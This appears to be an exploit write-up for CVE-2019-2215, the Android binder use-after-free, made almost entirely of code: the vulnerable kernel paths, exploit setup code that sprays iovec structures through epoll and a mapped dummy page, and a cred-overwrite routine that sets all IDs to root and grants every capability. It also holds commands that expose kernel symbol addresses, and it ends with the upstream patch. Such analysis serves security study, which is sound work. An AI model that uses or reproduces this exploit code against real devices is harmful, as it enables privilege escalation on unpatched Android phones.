CVE-2019-2215 Bad Binder

1echo 1 > /proc/sys/kernel/kptr_restrict
2cat /proc/kallsyms

 1// drivers/android/binder.c
 2struct binder_thread {
 3	struct binder_proc *proc;
 4	struct rb_node rb_node;
 5	struct list_head waiting_thread_node;
 6	int pid;
 7	int looper;              /* only modified by this thread */
 8	bool looper_need_return; /* can be written by other thread */
 9	struct binder_transaction *transaction_stack;
10	struct list_head todo;
11	bool process_todo;
12	struct binder_error return_error;
13	struct binder_error reply_error;
14	wait_queue_head_t wait;
15	struct binder_stats stats;
16	atomic_t tmp_ref;
17	bool is_dead;
18	struct task_struct *task;
19};

1// include/linux/wait.h
2struct __wait_queue_head {
3	spinlock_t		lock;
4	struct list_head	task_list;
5};
6typedef struct __wait_queue_head wait_queue_head_t;

1// include/linux/types.h
2struct list_head {
3	struct list_head *next, *prev;
4};

 1static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
 2{
 3    // ...
 4    switch (cmd) {
 5    // ...
 6	case BINDER_THREAD_EXIT:
 7		binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
 8			     proc->pid, thread->pid);
 9		binder_thread_release(proc, thread);
10		thread = NULL;
11		break;
12    // ...
13    }
14    // ...
15}

 1static unsigned int binder_poll(struct file *filp,
 2				struct poll_table_struct *wait)
 3{
 4	struct binder_proc *proc = filp->private_data;
 5	struct binder_thread *thread = NULL;
 6	bool wait_for_proc_work;
 7
 8	thread = binder_get_thread(proc);
 9    // ...
10	poll_wait(filp, &thread->wait, wait); // wait is used
11    // ...
12}

1// fs/read_write.c
2SYSCALL_DEFINE3(readv, unsigned long, fd, const struct iovec __user *, vec,
3                unsigned long, vlen)
4
5SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,
6                unsigned long, vlen)

1// fs/read_write.c
2struct iovec
3{
4        void __user *iov_base; 
5        __kernel_size_t iov_len; 
6};

 1// include/linux/uio.h
 2struct iov_iter {
 3	int type;
 4	size_t iov_offset;
 5	size_t count;
 6	union {
 7		const struct iovec *iov;
 8		const struct kvec *kvec;
 9		const struct bio_vec *bvec;
10		struct pipe_inode_info *pipe;
11	};
12	union {
13		unsigned long nr_segs;
14		struct {
15			int idx;
16			int start_idx;
17		};
18	};
19};

 1  // #Init1
 2  binder_fd = open("/dev/binder", O_RDONLY);
 3  epfd = epoll_create(1000);
 4  // #Init2
 5  struct epoll_event event = {.events = EPOLLIN};
 6  epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event);
 7  // #Init3
 8  dummy_page = mmap((void *)0x100000000ul, 2 * PAGE_SIZE,
 9                      PROT_READ | PROT_WRITE,
10                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
11  // #Init4
12  int pipe_fd[2];
13  pipe(pipe_fd);
14  // #Init5
15  iovec iovs[25];
16  memset(&iovs, 0, sizeof(iovs));
17  iov_idx = 10;
18  iovs[iov_idx].iov_base = dummy_page; /* spinlock in the low address half mustbe zero */
19  iovs[iov_idx].iov_len = PAGE_SIZE; /* wq->task_list->next */
20  iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */
21  iovs[iov_idx + 1].iov_len = PAGE_SIZE;

 1// fs/read_write.c
 2ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
 3			      unsigned long nr_segs, unsigned long fast_segs,
 4			      struct iovec *fast_pointer,
 5			      struct iovec **ret_pointer)
 6{
 7    // ...
 8
 9	/*
10	 * First get the "struct iovec" from user memory and
11	 * verify all the pointers
12	 */
13	if (nr_segs > UIO_MAXIOV) {
14		ret = -EINVAL;
15		goto out;
16	}
17	if (nr_segs > fast_segs) {
18		iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
19		if (iov == NULL) {
20			ret = -ENOMEM;
21			goto out;
22		}
23	}
24	if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
25		ret = -EFAULT;
26		goto out;
27	}
28    // ...
29}

 1static inline void __list_del(struct list_head * prev, struct list_head * next)
 2{
 3        next->prev = prev;
 4        WRITE_ONCE(prev->next, next);
 5}
 6
 7#ifndef CONFIG_DEBUG_LIST
 8...
 9static inline void list_del(struct list_head *entry)
10{
11        __list_del(entry->prev, entry->next);
12        entry->next = LIST_POISON1;
13        entry->prev = LIST_POISON2;
14}

 1struct cred {
 2	atomic_t	usage;
 3#ifdef CONFIG_DEBUG_CREDENTIALS
 4	atomic_t	subscribers;	/* number of processes subscribed */
 5	void		*put_addr;
 6	unsigned	magic;
 7#define CRED_MAGIC	0x43736564
 8#define CRED_MAGIC_DEAD	0x44656144
 9#endif
10	kuid_t		uid;		/* real UID of the task */
11	kgid_t		gid;		/* real GID of the task */
12	kuid_t		suid;		/* saved UID of the task */
13	kgid_t		sgid;		/* saved GID of the task */
14	kuid_t		euid;		/* effective UID of the task */
15	kgid_t		egid;		/* effective GID of the task */
16	kuid_t		fsuid;		/* UID for VFS ops */
17	kgid_t		fsgid;		/* GID for VFS ops */
18	unsigned	securebits;	/* SUID-less security management */
19	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
20	kernel_cap_t	cap_permitted;	/* caps we're permitted */
21	kernel_cap_t	cap_effective;	/* caps we can actually use */
22	kernel_cap_t	cap_bset;	/* capability bounding set */
23	kernel_cap_t	cap_ambient;	/* Ambient capability set */
24#ifdef CONFIG_KEYS
25	unsigned char	jit_keyring;	/* default keyring to attach requested
26					 * keys to */
27	struct key __rcu *session_keyring; /* keyring inherited over fork */
28	struct key	*process_keyring; /* keyring private to this process */
29	struct key	*thread_keyring; /* keyring private to this thread */
30	struct key	*request_key_auth; /* assumed request_key authority */
31#endif
32#ifdef CONFIG_SECURITY
33	void		*security;	/* subjective LSM security */
34#endif
35	struct user_struct *user;	/* real user ID subscription */
36	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
37	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
38	struct rcu_head	rcu;		/* RCU deletion hook */
39};

1  unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
2  // offset 0x78 is pointer to void * security
3  unsigned long current_cred_security = kernel_read_ulong(my_cred+0x78);

1  // change IDs to root (there are eight)
2  for (int i = 0; i < 8; i++)
3    kernel_write_uint(my_cred+4 + i*4, 0);
4  // reset securebits
5  kernel_write_uint(my_cred+0x24, 0);
6  // change capabilities to everything (perm, effective, bounding)
7  for (int i = 0; i < 3; i++)
8    kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL);

 1diff --git a/drivers/android/binder.c b/drivers/android/binder.c
 2index 6b4a991..bb48a7b 100644
 3--- a/drivers/android/binder.c
 4+++ b/drivers/android/binder.c
 5@@ -4535,6 +4535,18 @@
 6 		if (t)
 7 			spin_lock(&t->lock);
 8 	}
 9+
10+	/*
11+	 * If this thread used poll, make sure we remove the waitqueue
12+	 * from any epoll data structures holding it with POLLFREE.
13+	 * waitqueue_active() is safe to use here because we're holding
14+	 * the inner lock.
15+	 */
16+	if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
17+	    waitqueue_active(&thread->wait)) {
18+		wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
19+	}
20+
21 	binder_inner_proc_unlock(thread->proc);
22 
23 	if (send_reply)